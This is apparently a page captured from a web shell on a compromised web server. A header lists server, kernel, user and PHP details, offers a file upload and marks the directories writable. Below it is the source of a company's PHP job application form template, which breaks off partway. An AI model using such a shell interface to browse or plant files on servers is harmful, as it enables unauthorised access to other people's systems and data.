https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/blue-sky.co.id/public_html/application/views/themes/1/career/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/blue-sky.co.id/public_html/application/views/themes/1/career/form.php
<?php if ($active_banner_slider == 'yes'): ?> 
  <!-- SLIDER -->
  <section class="section-slider height-v">
      <div id="index12" class="owl-carousel  owl-theme">
      <?php if ($about): ?>
      <?php  
        $ar_img = explode(' | ', $about->img_name);
      ?> 
      <?php for($i=0; $i<count($ar_img); $i++): ?>
        <div class="item">
            <img alt="" src="<?= base_url(); ?>uploads/banners/<?= $ar_img[$i]; ?>" class="img-responsive">
        </div>
      <?php endfor; ?>  
      <?php endif ?>  
      </div>
  </section>
  <!-- END / SLIDER --> 
<?php else: ?>
  <!-- BANNER -->
  <section class="text-center" style="padding-top: 160px; padding-bottom: 40px;
    background: url('<?= base_url(); ?>uploads/banners/<?= $about->img_banner; ?>') no-repeat; background-size: cover; background-position: center;"> 
      <div class="container">
          <div class="banner-content">
              <h2></h2>
              <p></p>
          </div>
      </div>
  </section>
  <!-- END-BANNER --> 
<?php endif; ?>

<style>
  .btn-submit-job-vacancy{
    display: inline-block;
    border: 0;
    text-decoration: none;
    cursor: pointer;
    border-radius: 0;

    padding: 10px 16px;
    border: solid 1px black; 
    color: black; 
    background-color: transparent; 
    font-size: 0.9em;
    line-height: 1em;
    font-weight: 700;
    text-transform: uppercase;
    /*transition: all 0.3s ease;*/
    transition: all 0.3s;
  }
  .btn-submit-job-vacancy:hover{
    border-color: #38b141;
    color: #38b141;
  }
  .btn-secondary {
    color: #fff;
    background-color: #6c757d;
    border-color: #6c757d;
  }
  .btn-secondary:not(:disabled):not(.disabled).active, .btn-secondary:not(:disabled):not(.disabled):active, .show > .btn-secondary.dropdown-toggle {
    color: #fff;
    background-color: #545b62;
    border-color: #4e555b;
  }
  .row{
    margin-bottom: 10px;
  }
  .group_others{
    display: inline-block;
    margin-bottom: 0;
    display: -webkit-inline-box;
    display: -ms-inline-flexbox;
    -webkit-box-align: center;
    -ms-flex-align: center;
  }
  .form-check {
    position: relative;
    display: block;
    padding-left: 1.25rem;
  }
  .form-check-inline{
    display: -webkit-inline-box;
    display: -ms-inline-flexbox;
    display: inline-flex;
    -webkit-box-align: center;
    -ms-flex-align: center;
    align-items: center;
    padding-left: 0;
    margin-right: .75rem;
  }
  .form-check-inline .form-check-input {
    position: static;
    margin-top: 0;
    margin-right: .3125rem;
    margin-left: 0;
  }
  .form-check-label {
    /*display: inline-block;*/
    display: inline-block;
    margin-bottom: 0;
    display: -webkit-inline-box;
    display: -ms-inline-flexbox;
    -webkit-box-align: center;
    -ms-flex-align: center;
  }
  .flex_center{
    display: flex;
    align-items: center;
  }
  
  /*------------------------------*/
  /*.career_accordion {
    background-color: #eee;
    color: #444;
    cursor: pointer;
    padding: 18px;
    width: 100%;
    border: none;
    text-align: left;
    outline: none;
    font-size: 15px;
    transition: 0.4s;
  }

  .career_active, .career_accordion:hover {
    background-color: #ccc; 
  }

  .career_panel {
    padding: 0 18px;
    display: none;
    background-color: white;
    overflow: hidden;
  }*/

  .input-group {
    position: relative;
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -ms-flex-wrap: wrap;
    flex-wrap: wrap;
    -webkit-box-align: stretch;
    -ms-flex-align: stretch;
    align-items: stretch;
    width: 100%;
  }
  .input-group-prepend {
    margin-right: -1px;
  }
  .input-group-append, .input-group-prepend {
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
  }
  .input-group > .input-group-prepend > .input-group-text {
    border-top-right-radius: 0;
    border-bottom-right-radius: 0;
  }
  .input-group-text {
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-align: center;
    -ms-flex-align: center;
    align-items: center;
    padding: .375rem .75rem;
    margin-bottom: 0;
    font-size: 1rem;
    font-weight: 400;
    line-height: 1.5;
    color: #495057;
    text-align: center;
    white-space: nowrap;
    /*background-color: #e9ecef;*/
    border: 1px solid silver;
    /*border: 1px solid #ced4da;*/
    border-radius: .25rem; 
  }
  .input-group > .form-control {
    position: relative;
    -webkit-box-flex: 1;
    -ms-flex: 1 1 auto;
    flex: 1 1 auto;
    width: 1%;
    margin-bottom: 0;
  }
  .parent_input_req span.input-group-text {
    color:red;
  } 
</style>
 
<?php 
$t_alias_job = str_replace(' ', '-', $t_job);
function output_checkbox($t_text='',$t_atribute=false,$t_atribute_other=false){
  if ($t_atribute != false) {
    if (!is_array($t_atribute)) {
      $t_atribute = array(
        "id"=>"",
        "class"=>"",
        "name"=>"",
        "val"=>"",
      );
    }
  }
  if ($t_atribute_other != false) {
    if (!is_array($t_atribute_other)) {
      $t_atribute_other = array(
        "id"=>"",
        "class"=>"",
        "name"=>"",
        "val"=>"",
      );
    }
  }
  $ele_others = ''; 
  if ($t_atribute["val"] == 'others') {
    $ele_others = '<input style="display:none; margin-left: 10px;" type="text" id="'.$t_atribute_other["id"].'" name="'.$t_atribute_other["name"].'" class="'.$t_atribute_other["class"].' form-control">';  
  }

  return '<div class="form-check form-check-inline">
            <label for="'.$t_atribute["id"].'" class="form-check-label">
              <input id="'.$t_atribute["id"].'" name="'.$t_atribute["name"].'" class="'.$t_atribute["class"].' form-check-input" type="checkbox" value="'.$t_atribute["val"].'">'.$t_text.
              $ele_others
              .'
            </label>
          </div>';
}

?>
<section class="about about-v2" style="margin-top:50px;margin-bottom:50px;">
    <div class="container">
        <div class="row">
            <div style="margin-bottom: 30px;" class="col-xs-12 col-sm-12 col-md-12 col-lg-10 col-lg-offset-1">
                <div class="about-centent" style="">
                  <h2 style="" class="about-title text-center">JOB APPLICATION FORM</h2>
                  <div style="margin-top: 15px;margin-bottom: 20px;" class="line-v2"></div>
                  <p class="about-p" style="padding-right:0px !important">
                    WRITE IN BLOCK LETTERS 
                  </p> 
                </div>
            </div>
        </div>

        <?= form_open(base_url('career/submit/'.$t_alias_job),array(
          "style"=>"text-align: left;",
          "id"=>"frm_job_vacancy",
        )); ?>
        <div class="row"> 
            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-10 col-lg-offset-1">
              <div class="row" style="margin-bottom:5px;">
                <?php if ($this->session->flashdata('msg_submit_career')): ?>
                  <div class="col-md-12" style="background: green; color:white;text-transform: uppercase;padding: 7px;font-weight: bold;">
                    <?= $this->session->flashdata('msg_submit_career'); ?>
                  </div>
                <?php endif; ?>
                <div class="col-md-12">
                  <h3>FOR THE POSITION : <?= ucwords($t_job); ?></h3>
                  <input name="inp_job_position" type="hidden" value="<?= ucwords($t_job); ?>">
                </div>
              </div>
<div class="panel-group" id="accordion">

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse1">
          PERSONAL DATA
        </a>
      </h4>
    </div>
    <div id="career_collapse1" class="panel-collapse collapse in">
      <div class="panel-body"> 
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">DATA PRIBADI / PERSONAL DATA</h3>
          </div>
          <div class="col-md-12">
            
            <div class="row">
              <div class="col-md-3">
                <label>Full Name</label>
              </div>
              <div class="col-md-7">
                <input name="inp_fullname" type="text" class="form-control input_req">
              </div>
            </div>
            
            <div class="row">
              <div class="col-md-3">
                <label>Place & date of birth</label>
              </div>
              <div class="col-md-4">
                <input name="inp_place_dob" type="text" class="form-control input_req">
              </div>
              <div class="col-md-4">
                <label>Gender</label>
                <!-- <br>  -->
                <div class="btn-group btn-group-toggle" data-toggle="buttons">
                  <label class="btn btn-secondary active">
                    <input value="Male" type="radio" name="cb_gender" id="cb_gender_male" autocomplete="off" checked> Male
                  </label>
                  <label class="btn btn-secondary">
                    <input value="Female" type="radio" name="cb_gender" id="cb_gender_female" autocomplete="off"> Female
                  </label> 
                </div> 
              </div>
            </div>

            <div class="row">
              <div class="col-md-3">
                <label>ID Number(KTP)</label>
              </div>
              <div class="col-md-4">
                <input name="inp_ktp" type="text" class="form-control input_req">
              </div>
              <div class="col-md-5">
                <label>Blood Type</label>
                <!-- <br>  -->
                <div class="btn-group btn-group-toggle" data-toggle="buttons">
                  <label class="btn btn-secondary active">
                    <input value="A" type="radio" name="cb_blood_type" id="cb_blood_type_a" autocomplete="off" checked> A
                  </label>
                  <label class="btn btn-secondary">
                    <input value="B" type="radio" name="cb_blood_type" id="cb_blood_type_b" autocomplete="off"> B
                  </label> 
                  <label class="btn btn-secondary">
                    <input value="AB" type="radio" name="cb_blood_type" id="cb_blood_type_ab" autocomplete="off"> AB
                  </label> 
                  <label class="btn btn-secondary">
                    <input value="O" type="radio" name="cb_blood_type" id="cb_blood_type_o" autocomplete="off"> O
                  </label> 
                </div>      
              </div>
            </div>

            <div class="row">
              <div class="col-md-3">
                <label>Tax Number(NPWP)</label>
              </div>
              <div class="col-md-7">
                <input name="inp_npwp" type="text" class="form-control input_req">
              </div>
            </div>
            
            <div class="row">
              <div class="col-md-3">
                <label>Citizenship</label>
              </div>
              <div class="col-md-7">
                <div class="btn-group btn-group-toggle" data-toggle="buttons">
                  <label class="btn btn-secondary active">
                    <input value="Indonesia" type="radio" name="cb_citizenship" id="cb_citizenship_indonesia" autocomplete="off" checked> Indonesia
                  </label>  
                  <label class="btn btn-secondary">
                    <input value="Others" type="radio" name="cb_citizenship" id="cb_citizenship_others" autocomplete="off"> Others
                  </label>  
                </div> 
                <label class="group_others"> 
                  <input style="display: none; margin-left: 5px;" type="text" id="" name="inp_others_citizenship" class=" form-control">
                </label>      
              </div>
            </div>
            
            <div class="row">
              <div class="col-md-3">
                <label>Religion</label>
              </div>
              <div class="col-md-8">
                <div class="btn-group btn-group-toggle" data-toggle="buttons">
                  <label class="btn btn-secondary active">
                    <input value="Islam" type="radio" name="cb_religion" id="cb_religion_islam" autocomplete="off" checked> Islam
                  </label>
                  <label class="btn btn-secondary">
                    <input value="Katolik" type="radio" name="cb_religion" id="cb_religion_katolik" autocomplete="off"> Katolik
                  </label> 
                  <label class="btn btn-secondary">
                    <input value="Protestan" type="radio" name="cb_religion" id="cb_religion_protestan" autocomplete="off"> Protestan
                  </label> 
                  <label class="btn btn-secondary">
                    <input value="Budha" type="radio" name="cb_religion" id="cb_religion_budha" autocomplete="off"> Budha
                  </label> 
                  <label class="btn btn-secondary">
                    <input value="Hindu" type="radio" name="cb_religion" id="cb_religion_hindu" autocomplete="off"> Hindu
                  </label> 
                  <label class="btn btn-secondary">
                    <input value="Others" type="radio" name="cb_religion" id="cb_religion_others" autocomplete="off"> Others
                  </label> 
                </div> 
                <label class="group_others">
                  <input style="display: none;margin-left: 5px;" type="text" id="" name="inp_others_religion" class=" form-control">
                </label> 
              </div>
            </div>
            
            <div class="row">
              <div class="col-md-3">
                <label>Home Address</label>
              </div>
              <div class="col-md-7"> 
                <textarea class="form-control" name="txtarea_home_address" id="" cols="20" rows="7"></textarea>
              </div>
              <div class="col-md-2">
                <label>Postal Code</label> 
                <input name="inp_pos_code" type="text" class="form-control input_req">
              </div>
            </div>
            
            <div class="row">
              <div class="col-md-3">
                <label>Home Phone</label>
              </div>
              <div class="col-md-3"> 
                <input name="inp_home_phone" type="text" class="form-control">
              </div>
              <div class="col-md-2">
                <label>Mobile Phone</label>
              </div>
              <div class="col-md-3"> 
                <input name="inp_mobile_phone" type="text" class="form-control input_req">
              </div>
            </div>
            
            <div class="row">
              <div class="col-md-3">
                <label>Contact number on emergency situation</label>
              </div>
              <div class="col-md-7"> 
                <input name="inp_emergency_phone" type="text" class="form-control input_req">
              </div> 
            </div>
            
            <div class="row">
              <div class="col-md-3">
                <label>Email</label>
              </div>
              <div class="col-md-7"> 
                <input name="inp_email" type="text" class="form-control input_req">
              </div> 
            </div>
            
            <div class="row">
              <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
                <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse2" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
                  Next
                </a>
              </div> 
            </div>

          </div>
        </div>
      </div>
    </div>
  </div>

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse2">
          FAMILY DATA
        </a>
      </h4>
    </div>
    <div id="career_collapse2" class="panel-collapse collapse ">
      <div class="panel-body">
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">DATA KELUARGA / FAMILY DATA</h3>
          </div>

          <div class="col-md-12">
            
            <div class="row">
              <div class="col-md-3">
                <label>Marital status</label>
              </div>
              <div class="col-md-7">
                <div class="btn-group btn-group-toggle" data-toggle="buttons">
                  <label class="btn btn-secondary active">
                    <input value="Single" type="radio" name="cb_marital_status" id="cb_marital_status_single" autocomplete="off" checked> Single
                  </label>
                  <label class="btn btn-secondary">
                    <input value="Divorced" type="radio" name="cb_marital_status" id="cb_marital_status_divorced" autocomplete="off"> Divorced
                  </label> 
                  <label class="btn btn-secondary">
                    <input value="Married, year" type="radio" name="cb_marital_status" id="cb_marital_status_married" autocomplete="off"> Married, year
                  </label>  
                </div> 

              </div>
            </div>

            <div class="row">
              <div class="col-md-3">
                <label>Family</label>
              </div> 
            </div>
            <div class="row">
              <div class="col-md-12">
                <table border="1" class="table" style="width: 100%; border-collapse: collapse;">
                  <thead>
                    <tr>
                      <th></th>
                      <th>Name</th>
                      <th>Gender (M/F)</th>
                      <th>D.O.B</th>
                      <th>Education</th>
                      <th>Occupation</th>
                    </tr>
                  </thead>
                  <tbody>
                    <?php $cntr = 0; ?>
                    <?php for($i=0; $i<4; $i++): ?>
                      <tr> 
                        <?php for($ii=0; $ii<6; $ii++): ?>
                        <?php if ($ii == 0): ?>
                          <?php if ($i == 0): ?> 
                            <td>
                              Husband / Wife
                            </td> 
                          <?php else: ?>
                          <?php
                            $cntr++;
                            if ($cntr == 1) {
                              $t_no = $cntr."st";
                            }
                            else if($cntr == 2){
                              $t_no = $cntr."nd"; 
                            }
                            else if($cntr == 3){
                              $t_no = $cntr."rd"; 
                            }
                            else{ 
                              $t_no = $cntr."th";
                            }
                          ?>
                            <td>
                              <?= $t_no; ?> child
                            </td>
                          <?php endif; ?>
                        <?php else: ?>
                        <td>
                          <?php
                            $t_name = 'inp_family_';
                            if ($ii == 1) {
                              $t_name .= 'name';
                            }
                            if ($ii == 2) {
                              $t_name .= 'gender';
                            }
                            if ($ii == 3) {
                              $t_name .= 'dob';
                            }
                            if ($ii == 4) {
                              $t_name .= 'education';
                            }
                            if ($ii == 5) {
                              $t_name .= 'occupation';
                            }
                          ?>
                          <input name="<?= $t_name.'[]'; ?>" type="text" class="form-control">
                        </td> 
                        <?php endif; ?>
                        <?php endfor; ?>
                      </tr>   
                    <?php endfor; ?>

                    <tr>
                      <th colspan="6">
                        Family Members
                      </th>
                    </tr>
                    <?php $cntr = 0; ?>
                    <?php for($i=0; $i<9; $i++): ?>
                      <tr> 
                        <?php for($ii=0; $ii<6; $ii++): ?>
                        <?php if ($ii == 0): ?>
                          <?php if ($i == 0): ?> 
                            <td>
                              Father
                            </td>
                          <?php elseif ($i == 1): ?>
                            <td>
                              Mother
                            </td>
                          <?php else: ?>
                          <?php
                            $cntr++;
                            if ($cntr == 1) {
                              $t_no = $cntr."st";
                            }
                            else if($cntr == 2){
                              $t_no = $cntr."nd"; 
                            }
                            else if($cntr == 3){
                              $t_no = $cntr."rd"; 
                            }
                            else{ 
                              $t_no = $cntr."th";
                            }
                          ?>
                            <td>
                              <?= $t_no; ?> child
                            </td>
                          <?php endif; ?>
                        <?php else: ?>
                        <td>
                          <?php
                            $t_name = 'inp_familymembers_';
                            if ($ii == 1) {
                              $t_name .= 'name';
                            }
                            if ($ii == 2) {
                              $t_name .= 'gender';
                            }
                            if ($ii == 3) {
                              $t_name .= 'dob';
                            }
                            if ($ii == 4) {
                              $t_name .= 'education';
                            }
                            if ($ii == 5) {
                              $t_name .= 'occupation';
                            }
                          ?>
                          <input name="<?= $t_name.'[]'; ?>" type="text" class="form-control">
                        </td> 
                        <?php endif; ?>
                        <?php endfor; ?>
                      </tr>   
                    <?php endfor; ?> 
                  </tbody>
                </table>
              </div> 
            </div>

            <div class="row">
              <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
                <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse1" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
                  Prev
                </a>
                <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse3" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
                  Next
                </a>
              </div> 
            </div>

          </div>

        </div>
      </div>
    </div>
  </div>

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse3">
          FORMAL EDUCATION & NON FORMAL EDUCATION
        </a>
      </h4>
    </div>
    <div id="career_collapse3" class="panel-collapse collapse ">
      <div class="panel-body">
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">PENDIDIKAN FORMAL / FORMAL EDUCATION</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <table border="1" class="table" style="width: 100%; border-collapse: collapse;">
                  <thead>
                    <tr>
                      <th rowspan="2">Level</th>
                      <th rowspan="2">Name of Institution</th>
                      <th rowspan="2">Location</th>
                      <th rowspan="2">Major</th>
                      <th rowspan="2">Grade</th>
                      <th style="text-align: center;" colspan="2">Year</th>
                    </tr>
                    <tr> 
                      <th>Entry</th>
                      <th>Graduate</th>
                    </tr>
                  </thead>
                  <tbody>  
                    <?php for($i=0; $i<3; $i++): ?>
                      <tr> 
                        <?php for($ii=0; $ii<7; $ii++): ?>
                        <?php if ($ii == 0): ?>
                          <?php if ($i == 0): ?> 
                            <td>
                              High school
                            </td>
                          <?php elseif ($i == 1): ?>
                            <td>
                              University/Academy
                            </td>
                          <?php else: ?>
                            <td>
                              Postgraduate
                            </td>
                          <?php endif; ?>
                        <?php else: ?>
                        <td>
                          <?php
                            $t_name = 'inp_formal_education_';
                            if ($ii == 1) {
                              $t_name .= 'name';
                            }
                            if ($ii == 2) {
                              $t_name .= 'location';
                            }
                            if ($ii == 3) {
                              $t_name .= 'major';
                            }
                            if ($ii == 4) {
                              $t_name .= 'grade';
                            }
                            if ($ii == 5) {
                              $t_name .= 'entry';
                            }
                            if ($ii == 6) {
                              $t_name .= 'graduate';
                            }
                          ?>
                          <input name="<?= $t_name.'[]'; ?>" type="text" class="form-control">
                        </td> 
                        <?php endif; ?>
                        <?php endfor; ?>
                      </tr>   
                    <?php endfor; ?>  
                  </tbody>
                </table>
              </div> 
            </div>

          </div>

        </div>
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">PENDIDIKAN NON FORMAL / NON FORMAL EDUCATION</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <table border="1" class="table" style="width: 100%; border-collapse: collapse;">
                  <thead>
                    <tr>
                      <th>Course/Training</th>
                      <th>Year</th>
                      <th>Duration</th>
                      <th>Certificate</th>
                      <th>Sponsored By</th> 
                    </tr> 
                  </thead>
                  <tbody>  
                    <?php for($i=0; $i<3; $i++): ?>
                      <tr> 
                        <?php for($ii=0; $ii<5; $ii++): ?>
                        <td>
                          <?php
                            $t_name = 'inp_nonformal_education_';
                            if ($ii == 0) {
                              $t_name .= 'course';
                            }
                            if ($ii == 1) {
                              $t_name .= 'year';
                            }
                            if ($ii == 2) {
                              $t_name .= 'duration';
                            }
                            if ($ii == 3) {
                              $t_name .= 'certificate';
                            }
                            if ($ii == 4) {
                              $t_name .= 'sponsored';
                            } 
                          ?>
                          <input name="<?= $t_name.'[]'; ?>" type="text" class="form-control">
                        </td> 
                        <?php endfor; ?>
                      </tr>   
                    <?php endfor; ?>    
                  </tbody>
                </table>
              </div> 
            </div>

          </div>

        </div>

        <div class="row">
          <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse2" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Prev
            </a>
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse4" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Next
            </a>
          </div> 
        </div>

      </div>
    </div>
  </div>

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse4">
          LANGUAGE PROFICIENCY & COMPUTER PROFICIENCY
        </a>
      </h4>
    </div>
    <div id="career_collapse4" class="panel-collapse collapse ">
      <div class="panel-body">
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">KEMAMPUAN BAHASA ASING / LANGUAGE PROFICIENCY</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <table border="1" class="table" style="width: 100%; border-collapse: collapse;">
                  <thead>
                    <tr>
                      <th rowspan="2">Language</th>
                      <th colspan="3">Written</th>
                      <th colspan="3">Speaking</th>
                      <th colspan="3">Reading</th>  
                    </tr>
                    <tr>
                      <th>Good</th>
                      <th>Fair</th>
                      <th>Poor</th>
                      
                      <th>Good</th>
                      <th>Fair</th>
                      <th>Poor</th>
                      
                      <th>Good</th>
                      <th>Fair</th>
                      <th>Poor</th>

                    </tr> 
                  </thead>
                  <tbody> 
                    <?php for($i=0; $i<2; $i++): ?>
                      <tr> 
                        <?php for($ii=0; $ii<10; $ii++): ?>
                        <td>
                          <?php
                            $t_name = 'inp_language_proficiency_';
                            if ($ii == 0) {
                              $t_name .= 'language';
                            }
                            if ($ii == 1) {
                              $t_name .= 'good1';
                            }
                            if ($ii == 2) {
                              $t_name .= 'fair1';
                            }
                            if ($ii == 3) {
                              $t_name .= 'poor1';
                            } 

                            if ($ii == 4) {
                              $t_name .= 'good2';
                            }
                            if ($ii == 5) {
                              $t_name .= 'fair2';
                            }
                            if ($ii == 6) {
                              $t_name .= 'poor2';
                            } 

                            if ($ii == 7) {
                              $t_name .= 'good3';
                            }
                            if ($ii == 8) {
                              $t_name .= 'fair3';
                            }
                            if ($ii == 9) {
                              $t_name .= 'poor3';
                            }  
                          ?>
                          <input name="<?= $t_name.'[]'; ?>" type="text" class="form-control">
                        </td> 
                        <?php endfor; ?>
                      </tr>   
                    <?php endfor; ?>
                  </tbody>
                </table>
              </div> 
            </div>

          </div>

        </div>

        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">PENGUASAAN KOMPUTER / COMPUTER PROFICIENCY</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <table border="1" class="table" style="width: 100%; border-collapse: collapse;">
                  <thead>
                    <tr>
                      <th rowspan="2">No.</th>
                      <th rowspan="2">Program / Application</th>
                      <th colspan="3" style="text-align: center;">Level of proficiency</th>   
                    </tr>
                    <tr>
                      <th>Good</th>
                      <th>Fair</th>
                      <th>Poor</th> 
                    </tr> 
                  </thead>
                  <tbody> 
                    <?php for($i=0; $i<4; $i++): ?>
                      <tr> 
                        <?php for($ii=0; $ii<5; $ii++): ?>
                        <td>
                          <?php
                            $t_name = 'inp_computer_proficiency_';
                            if ($ii == 0) {
                              $t_name .= 'no';
                            }
                            if ($ii == 1) {
                              $t_name .= 'application';
                            }
                            if ($ii == 2) {
                              $t_name .= 'good';
                            }
                            if ($ii == 3) {
                              $t_name .= 'fair';
                            }
                            if ($ii == 4) {
                              $t_name .= 'poor';
                            } 
                          ?>
                          <input name="<?= $t_name.'[]'; ?>" type="text" class="form-control">
                        </td> 
                        <?php endfor; ?>
                      </tr>   
                    <?php endfor; ?>
                  </tbody>
                </table>
              </div> 
            </div>

          </div>

        </div>

        <div class="row">
          <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse3" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Prev
            </a>
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse5" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Next
            </a>
          </div> 
        </div>

      </div>
    </div>
  </div>

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse5">
          SPECIAL SKILL
        </a>
      </h4>
    </div>
    <div id="career_collapse5" class="panel-collapse collapse ">
      <div class="panel-body">
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">KEAHLIAN KHUSUS/ SPECIAL SKILL</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <table border="1" class="table" style="width: 100%; border-collapse: collapse;">
                  <thead>
                    <tr>
                      <th rowspan="2">No.</th>
                      <th rowspan="2">Type of Skill</th>
                      <th colspan="3" style="text-align: center;">Level of proficiency</th>   
                    </tr>
                    <tr>
                      <th>Good</th>
                      <th>Fair</th>
                      <th>Poor</th> 
                    </tr> 
                  </thead>
                  <tbody> 
                    <?php for($i=0; $i<5; $i++): ?>
                      <tr> 
                        <?php for($ii=0; $ii<5; $ii++): ?>
                        <td>
                          <?php
                            $t_name = 'inp_special_skill_';
                            if ($ii == 0) {
                              $t_name .= 'no';
                            }
                            if ($ii == 1) {
                              $t_name .= 'type_skill';
                            }
                            if ($ii == 2) {
                              $t_name .= 'good';
                            }
                            if ($ii == 3) {
                              $t_name .= 'fair';
                            }
                            if ($ii == 4) {
                              $t_name .= 'poor';
                            } 
                          ?>
                          <input name="<?= $t_name.'[]'; ?>" type="text" class="form-control">
                        </td> 
                        <?php endfor; ?>
                      </tr>   
                    <?php endfor; ?>
                  </tbody>
                </table>
              </div> 
            </div>

          </div>

        </div>

        <div class="row">
          <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse4" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Prev
            </a>
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse6" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Next
            </a>
          </div> 
        </div> 

      </div>
    </div>
  </div>

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse6">
          WORK EXPERIENCE
        </a>
      </h4>
    </div>
    <div id="career_collapse6" class="panel-collapse collapse ">
      <div class="panel-body">
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">PENGALAMAN PEKERJAAN / WORK EXPERIENCE</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <label for="">Work experience, starting from current job</label>
              </div> 
            </div>
            <div class="row">
              <div class="col-md-3">
                <label for="">Name of company</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_name_of_company1" type="text" class="form-control"> 
              </div> 
              <div class="col-md-2">
                <label for="">Line of Business</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_line_of_business1" type="text" class="form-control"> 
              </div> 
            </div>

            <div class="row">
              <div class="col-md-3">
                <label for="">Address</label>
              </div> 
              <div class="col-md-8">
                <textarea class="form-control" name="txtarea_work_address1" id="" cols="20" rows="7"></textarea> 
              </div>  
            </div>

            <div class="row">
              <div class="col-md-3">
                <label for="">Division</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_division1" type="text" class="form-control"> 
              </div> 
              <div class="col-md-2">
                <label for="">Position</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_position1" type="text" class="form-control"> 
              </div>
            </div>

            <div class="row flex_center">
              <div class="col-md-3">
                <label for="">Salary & benefit currently received</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_currently_salary1" type="text" class="form-control"> 
              </div>
              <div class="col-md-2">
                <label for="">From year</label>
                <input name="inp_fromyear1" type="text" class="form-control"> 
              </div> 
              <div class="col-md-2">
                <label for="">to</label>
                <input name="inp_toyear1" type="text" class="form-control"> 
              </div> 
            </div>

            <div class="row">
              <div class="col-md-3">
                <label for="">Reason(s) for leaving</label> 
              </div> 
              <div class="col-md-8">
                <textarea class="form-control" name="txtarea_reason1" id="" cols="20" rows="7"></textarea> 
              </div>  
            </div>
            <hr>
            <div class="row">
              <div class="col-md-3">
                <label for="">Name of company</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_name_of_company2" type="text" class="form-control"> 
              </div> 
              <div class="col-md-2">
                <label for="">Line of Business</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_line_of_business2" type="text" class="form-control"> 
              </div> 
            </div>

            <div class="row">
              <div class="col-md-3">
                <label for="">Address</label>
              </div> 
              <div class="col-md-8">
